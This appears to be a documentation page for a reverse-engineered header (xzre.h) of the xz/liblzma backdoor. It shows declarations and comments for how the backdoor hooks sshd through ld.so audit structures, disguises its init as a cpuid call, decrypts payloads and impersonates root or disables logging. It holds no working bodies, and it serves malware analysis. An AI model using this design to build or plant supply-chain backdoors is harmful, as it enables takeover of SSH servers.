2174 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
2175 
2184 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
2185 
2196  u8 *code_start,
2197  u8 *code_end,
2198  dasm_ctx_t *dctx,
2199  void *mem_address
2200 );
2201 
2212  u8 *code_start,
2213  u8 *code_end,
2214  dasm_ctx_t *dctx,
2215  void *mem_address
2216 );
2217 
2228  u8 *code_start,
2229  u8 *code_end,
2230  dasm_ctx_t *dctx,
2231  void *mem_address
2232 );
2233 
2245  u8 *code_start,
2246  u8 *code_end,
2247  BOOL is_64bit_operand,
2248  BOOL load_flag,
2249  dasm_ctx_t *dctx
2250 );
2251 
2268  u8 *code_start,
2269  u8 *code_end,
2270  BOOL is_64bit_operand,
2271  BOOL load_flag,
2272  dasm_ctx_t *dctx
2273 );
2274 
2286  u8 *code_start,
2287  u8 *code_end,
2288  dasm_ctx_t *dctx,
2289  int opcode,
2290  void *mem_address
2291 );
2292 
2309 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
2310 
2320  u8 *code_start,
2321  u8 *code_end,
2322  const char *str
2323 );
2324 
2336  EncodedStringId encoded_string_id,
2337  u8 *code_start,
2338  u8 *code_end
2339 );
2340 
2360 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
2361 
2371 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
2372 
2384 extern BOOL find_function(
2385  u8 *code_start,
2386  void **func_start,
2387  void **func_end,
2388  u8 *search_base,
2389  u8 *code_end,
2390  FuncFindType find_mode);
2391 
2402 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
2403 
2414 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
2415 
2423 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
2424 
2432 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
2433 
2448 
2449 extern char *check_argument(char arg_first_char, char* arg_name);
2450 
2479 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
2480 
2489 
2498 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
2499 
2507 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2508 
2516 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
2517 
2526 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
2527 
2544 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
2545 
2559  Elf64_Rela *relocs,
2560  u32 num_relocs,
2561  u64 reloc_type,
2562  EncodedStringId encoded_string_id);
2563 
2571 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2572 
2580 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2581 
2596  StringXrefId xref_id,
2597  void **pOutCodeStart, void **pOutCodeEnd,
2598  void **pOutFptrAddr, elf_info_t *elf_info,
2599  string_references_t *xrefs,
2600  global_context_t *ctx);
2601 
2614 extern char *elf_find_string(
2616  EncodedStringId *stringId_inOut,
2617  void *rodata_start_ptr);
2618 
2625 extern lzma_allocator *get_lzma_allocator(void);
2626 
2638 
2647 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
2648 
2657 extern void fake_lzma_free(void *opaque, void *ptr);
2658 
2668 
2669 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
2670 
2684  void *code_start,
2685  void *code_end,
2686  secret_data_shift_cursor_t shift_cursor,
2687  unsigned shift_count, BOOL start_from_call);
2688 
2700  secret_data_shift_cursor_t shift_cursor,
2701  unsigned operation_index,
2702  unsigned shift_count,
2703  int index, u8 *code);
2704 
2714  secret_data_item_t *items,
2715  u64 items_count,
2716  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
2717 
2729  void *addr,
2730  secret_data_shift_cursor_t shift_cursor,
2731  unsigned shift_count, unsigned operation_index);
2732 
2776  u8 *call_site, u8 *code,
2777  secret_data_shift_cursor_t shift_cursor,
2778  unsigned shift_count, unsigned operation_index);
2779 
2792  secret_data_shift_cursor_t shift_cursor,
2793  unsigned shift_count, unsigned operation_index,
2794  BOOL bypass
2795 );
2796 
2817 
2824 
2842 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
2843 
2855 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
2856 
2868 
2879 extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
2880 
2890 
2900 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
2901 
2911  struct link_map *libc,
2912  elf_info_t *libc_info,
2913  libc_imports_t *imports
2914 );
2915 
2923 
2931 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
2932 
2944 extern BOOL chacha_decrypt(
2945  u8 *in, int inl,
2946  u8 *key, u8 *iv,
2947  u8 *out, imported_funcs_t *funcs
2948 );
2949 
2957 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
2958 
2967 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
2968 
2975 extern u32 count_bits(u64 x);
2976 
2988 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
2989 
3029 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
3030 
3042 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
3043 
3053 
3061 
3069 
3088 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
3089 
3100 
3101 typedef struct dl_tls_index
3102 {
3103  uint64_t ti_module;
3104  uint64_t ti_offset;
3105 } tls_index;
3106 
3114 extern void *dummy_tls_get_addr (tls_index *ti);
3115 
3127 extern uintptr_t backdoor_symbind64(
3128  Elf64_Sym *sym,
3129  unsigned int ndx,
3130  uptr *refcook, uptr *defcook,
3131  unsigned int flags,
3132  const char *symname);
3133 
3145 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
3146 
3162  backdoor_data_handle_t *data,
3163  ptrdiff_t *libname_offset,
3164  backdoor_hooks_data_t *hooks,
3166 
3190  backdoor_data_handle_t *data_handle,
3191  ptrdiff_t *libname_offset,
3192  backdoor_hooks_data_t *hooks,
3194 
3214 extern BOOL find_dl_naudit(
3215  elf_info_t *dynamic_linker_elf,
3216  elf_info_t *libcrypto_elf,
3217  backdoor_hooks_data_t *hooks,
3219 
3237  backdoor_data_handle_t *data,
3238  ptrdiff_t libname_offset,
3239  backdoor_hooks_data_t *hooks,
3241 
3258  backdoor_data_handle_t *data,
3259  instruction_search_ctx_t *search_ctx);
3260 
3276  u8 *data_start,
3277  u8 *data_end,
3278  u8 *code_start,
3279  u8 *code_end,
3280  string_references_t *string_refs,
3281  void **sensitive_data_out);
3282 
3298  u8 *data_start,
3299  u8 *data_end,
3300  u8 *code_start,
3301  u8 *code_end,
3302  void **sensitive_data_out,
3303  elf_info_t *elf);
3304 
3315  void *sensitive_data,
3316  elf_info_t *elf,
3317  string_references_t *refs);
3318 
3329  void *sensitive_data,
3330  elf_info_t *elf,
3331  string_references_t *refs);
3332 
3343  void *sensitive_data,
3344  elf_info_t *elf,
3345  string_references_t *refs);
3346 
3357  void *sensitive_data,
3358  elf_info_t *elf,
3359  string_references_t *refs);
3360 
3371 extern BOOL bignum_serialize(
3372  u8 *buffer, u64 bufferSize,
3373  u64 *pOutSize,
3374  const BIGNUM *bn,
3375  imported_funcs_t *funcs);
3376 
3377 
3384 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
3385 
3395 extern BOOL rsa_key_hash(
3396  const RSA *rsa,
3397  u8 *mdBuf,
3398  u64 mdBufSize,
3399  imported_funcs_t *funcs);
3400 
3410 extern BOOL dsa_key_hash(
3411  const DSA *dsa,
3412  u8 *mdBuf,
3413  u64 mdBufSize,
3414  global_context_t *ctx);
3415 
3426 extern BOOL sha256(
3427  const void *data,
3428  size_t count,
3429  u8 *mdBuf,
3430  u64 mdBufSize,
3431  imported_funcs_t *funcs);
3432 
3450 extern BOOL verify_signature(
3451  struct sshkey *sshkey,
3452  u8 *signed_data,
3453  u64 sshkey_digest_offset,
3454  u64 signed_data_size,
3455  u8 *signature,
3456  u8 *ed448_raw_key,
3457  global_context_t *global_ctx
3458 );
3459 
3472  BOOL skip_root_patch,
3473  BOOL disable_pam,
3474  BOOL replace_monitor_reqtype,
3475  int monitor_reqtype,
3476  global_context_t *global_ctx
3477 );
3478 
3488  elf_info_t *elf,
3489  string_references_t *refs,
3490  global_context_t *ctx
3491 );
3492 
3502 extern BOOL sshd_find_main(
3503  u8 **code_start_out,
3504  elf_info_t *sshd,
3505  elf_info_t *libcrypto,
3507 );
3508 
3537  u8 *code_start,
3538  u8 *code_end,
3539  u8 *data_start,
3540  u8 *data_end,
3541  void **monitor_field_ptr_out,
3542  global_context_t *ctx
3543 );
3544 
3557  StringXrefId id,
3558  string_references_t *refs,
3559  void *mem_range_start,
3560  void *mem_range_end
3561 );
3562 
3598  void *addr1,
3599  void *addr2,
3600  void *search_base,
3601  u8 *code_end,
3602  string_references_t *refs,
3603  global_context_t *global
3604 );
3605 
3606 enum SocketMode {
3607  DIR_WRITE = 0,
3608  DIR_READ = 1
3609 };
3610 
3624  global_context_t *ctx,
3625  int *pSocket,
3626  int socket_index,
3627  enum SocketMode socket_direction
3628 );
3629 
3638 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
3639 
3648 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
3649 
3659 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
3660 
3671  u8 *sshbuf_data,
3672  size_t sshbuf_size,
3673  size_t *pOutPayloadSize,
3674  global_context_t *ctx);
3675 
3685  void *payload,
3686  size_t payload_size,
3687  global_context_t *ctx);
3688 
3696 
3706 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3707 
3716 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3717 
3726 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3727 
3737  LogLevel level,
3738  int forced,
3739  const char *msg,
3740  void *ctx);
3741 
3751 extern ssize_t fd_read(
3752  int fd,
3753  void *buffer,
3754  size_t count,
3755  libc_imports_t *funcs);
3756 
3766 extern ssize_t fd_write(
3767  int fd,
3768  void *buffer,
3769  size_t count,
3770  libc_imports_t *funcs);
3771 
3780  void **pointers,
3781  unsigned int num_pointers
3782 );
3783 
3792 extern BOOL count_pointers(
3793  void **ptrs,
3794  u64 *count_out,
3795  libc_imports_t *funcs
3796 );
3797 
3805 
3814 extern void sshd_log(
3815  sshd_log_ctx_t *log_ctx,
3816  LogLevel level, const char *fmt, ...);
3817 
3830  elf_info_t *sshd,
3831  elf_info_t *libcrypto,
3832  string_references_t *refs,
3833  imported_funcs_t *funcs,
3834  global_context_t *ctx);
3835 
3842 extern u32 resolver_call_count;
3843 static_assert(sizeof(resolver_call_count) == 0x4);
3844 
3845 extern global_context_t *global_ctx;
3846 static_assert(sizeof(global_ctx) == 0x8);
3847 
3855 static_assert(sizeof(hooks_data_addr) == 0x8);
3856 
3867 extern const ptrdiff_t fake_lzma_allocator_offset;
3868 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
3869 
3888 static_assert(sizeof(fake_lzma_allocator) == 0x20);
3889 
3898 extern const ptrdiff_t elf_functions_offset;
3899 static_assert(sizeof(elf_functions_offset) == 0x8);
3900 
3913 extern const elf_functions_t elf_functions;
3914 static_assert(sizeof(elf_functions) == 0x38);
3915 
3924 extern const u64 cpuid_random_symbol;
3925 static_assert(sizeof(cpuid_random_symbol) == 0x8);
3926 
3935 extern const u64 tls_get_addr_random_symbol;
3936 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
3937 
3947 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
3948 
3958 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
3959 
3968 extern const u64 string_mask_data[238];
3969 static_assert(sizeof(string_mask_data) == 0x770);
3970 
3979 extern const u32 string_action_data[1304];
3980 static_assert(sizeof(string_action_data) == 0x1460);
3981 
3982 #include "util.h"
3983 #endif
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
Definition: xzre.h:216
Definition: xzre.h:185
Definition: xzre.h:2007
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2025
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2013
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2019
data passed to functions that access the backdoor data
Definition: xzre.h:1597
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1642
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1687
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1692
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1647
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1677
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1682
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1673
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1667
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1697
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1652
Definition: xzre.h:1512
Definition: xzre.h:1491
Definition: xzre.h:1540
Definition: xzre.h:1336
Definition: xzre.h:1719
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1731
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1736
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1726
Definition: xzre.h:2033
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2039
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2045
Definition: xzre.h:1797
Definition: xzre.h:660
u8 flags2
see InstructionFlags2
Definition: xzre.h:672
u8 flags
see InstructionFlags
Definition: xzre.h:668
Definition: xzre.h:3102
Definition: xzre.h:643
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:648
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:653
Definition: xzre.h:2052
array of ELF handles
Definition: xzre.h:1557
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1568
elf_info_t * main
this is for sshd
Definition: xzre.h:1562
Definition: xzre.h:747
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:826
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:755
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:801
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:805
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:843
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:767
char * strtab
pointer to the ELF string table
Definition: xzre.h:775
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:759
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:839
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:751
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:763
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:783
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:793
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:821
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:809
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:797
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:779
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:771
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:787
Definition: xzre.h:2082
Definition: xzre.h:1208
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1275
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1218
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1236
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1228
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1214
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1256
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1300
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1248
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1260
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1240
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1252
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1268
Definition: xzre.h:193
Definition: xzre.h:614
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:625
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:629
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:618
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:634
Definition: xzre.h:932
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:943
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:953
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:948
Definition: xzre.h:2093
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2119
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2108
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2098
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2103
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2113
Definition: xzre.h:1900
Definition: xzre.h:1804
the payload header. also used as Chacha IV
Definition: xzre.h:1786
the contents of the RSA 'n' field
Definition: xzre.h:1818
Definition: xzre.h:1350
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1401
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1420
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1379
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1437
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1449
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1367
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1411
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1394
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1362
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1384
Definition: xzre.h:887
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
State for the internal SHA-256 implementation.
Definition: xzre.h:268
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
Definition: xzre.h:1581
data used within sshd_proxy_elevate
Definition: xzre.h:1922
struct monitor from openssh-portable
Definition: xzre.h:558
stack frame layout for run_backdoor_commands
Definition: xzre.h:1959
Definition: xzre.h:1766
struct sensitive_data from openssh-portable
Definition: xzre.h:570
Definition: xzre.h:1052
Definition: xzre.h:1135
Definition: xzre.h:1188
Definition: xzre.h:1193
Definition: xzre.h:1205
struct sshkey from openssh-portable
Definition: xzre.h:581
Definition: xzre.h:1605
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1614
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1609
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1622
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1618
Definition: xzre.h:1631
union used within run_backdoor_commands
Definition: xzre.h:1946
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1755
u32 index
Definition: xzre.h:1757
u32 byte_index
Definition: xzre.h:1762
u32 bit_index
Definition: xzre.h:1760
Definition: xzre.h:1172
Definition: xzre.h:1180
Definition: xzre.h:1792
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end)
checks if the current process is sshd by inspecting argv and envp.
BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports)
gets the first usable socket fd
void mm_log_handler_hook(LogLevel level, int forced, const char *msg, void *ctx)
void * elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Looks up an ELF symbol from a parsed ELF, and returns its memory address.
void init_elf_entry_ctx(elf_entry_ctx_t *ctx)
initialises the elf_entry_ctx_t
BOOL verify_signature(struct sshkey *sshkey, u8 *signed_data, u64 sshkey_digest_offset, u64 signed_data_size, u8 *signature, u8 *ed448_raw_key, global_context_t *global_ctx)
Checks if signed_data is signed with ed448_raw_key.
BOOL validate_log_handler_pointers(void *addr1, void *addr2, void *search_base, u8 *code_end, string_references_t *refs, global_context_t *global)
Validate that the two addresses are the expected/correct ones.
BOOL is_payload_message(u8 *sshbuf_data, size_t sshbuf_size, size_t *pOutPayloadSize, global_context_t *ctx)
checks if the given sshbuf buffer contains a backdoor payload message
void * dummy_tls_get_addr(tls_index *ti)
a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler...
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
struct gnu_hash_table gnu_hash_table_t
BOOL find_link_map_l_name(backdoor_data_handle_t *data_handle, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offsets required to modify ld.so's private struct auditstate state.
BOOL find_dl_naudit(elf_info_t *dynamic_linker_elf, elf_info_t *libcrypto_elf, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find __rtld_global_ro offsets required to modify ld.so's private struct audit_ifaces state.
void * elf_get_code_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the first executable segment in the given ELF file.
ssize_t fd_write(int fd, void *buffer, size_t count, libc_imports_t *funcs)
reads data to the specified file descriptor
BOOL find_instruction_with_mem_operand_ex(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, int opcode, void *mem_address)
finds an instruction with an immediate memory operand
BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries
BOOL dsa_key_hash(const DSA *dsa, u8 *mdBuf, u64 mdBufSize, global_context_t *ctx)
obtains a SHA256 hash of the supplied RSA key
BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries and populate related data
BOOL backdoor_setup(backdoor_setup_params_t *params)
the backdoor main method that installs the backdoor_symbind64() callback
void * elf_get_reloc_symbol(elf_info_t *elf_info, Elf64_Rela *relocs, u32 num_relocs, u64 reloc_type, EncodedStringId encoded_string_id)
Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_...
BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in the gnurelro segment
BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memor...
BOOL find_link_map_l_audit_any_plt(backdoor_data_handle_t *data, ptrdiff_t libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state.
BOOL secret_data_append_item(secret_data_shift_cursor_t shift_cursor, unsigned operation_index, unsigned shift_count, int index, u8 *code)
Calls secret_data_append_singleton, if flags are non-zero.
const u64 tls_get_addr_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void init_ldso_ctx(ldso_ctx_t *ldso_ctx)
initializes/resets ldso data
BOOL init_imported_funcs(imported_funcs_t *imported_funcs)
Initializes the imported_funcs structure.
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
ElfId
Definition: xzre.h:375
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:380
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
CommandFlags2
Definition: xzre.h:1849
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1859
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1873
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1868
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1880
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1854
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
ssize_t fd_read(int fd, void *buffer, size_t count, libc_imports_t *funcs)
reads data from the specified file descriptor
BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx)
Finds the right sshbuf (FIXME: which?), starting from: (*(ctx->struct_monitor_ptr_address))->kex->my
const ptrdiff_t elf_functions_offset
special .data.rel.ro section that contains the offset to elf_functions
void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame)
calls backdoor_init_stage2 by disguising it as a call to cpuid.
BOOL secret_data_append_singleton(u8 *call_site, u8 *code, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
Shifts data in the secret data store, after validation of code. this function is intended to be invok...
BOOL contains_null_pointers(void **pointers, unsigned int num_pointers)
checks if the given array of pointers contains any NULL pointer
void * elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment)
Obtains the address and size of the last read-write segment in the given ELF file this is typically t...
const u32 string_action_data[1304]
contains action data for the encoded string radix tree
BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part)
Checks if the code between code_start and code_end is an endbr64 instruction.
void fake_lzma_free(void *opaque, void *ptr)
a fake free function called by lzma_free()
void * elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the last readonly segment in the given ELF file this corresponds to t...
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
CommandFlags1
Definition: xzre.h:1826
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1834
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1846
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1838
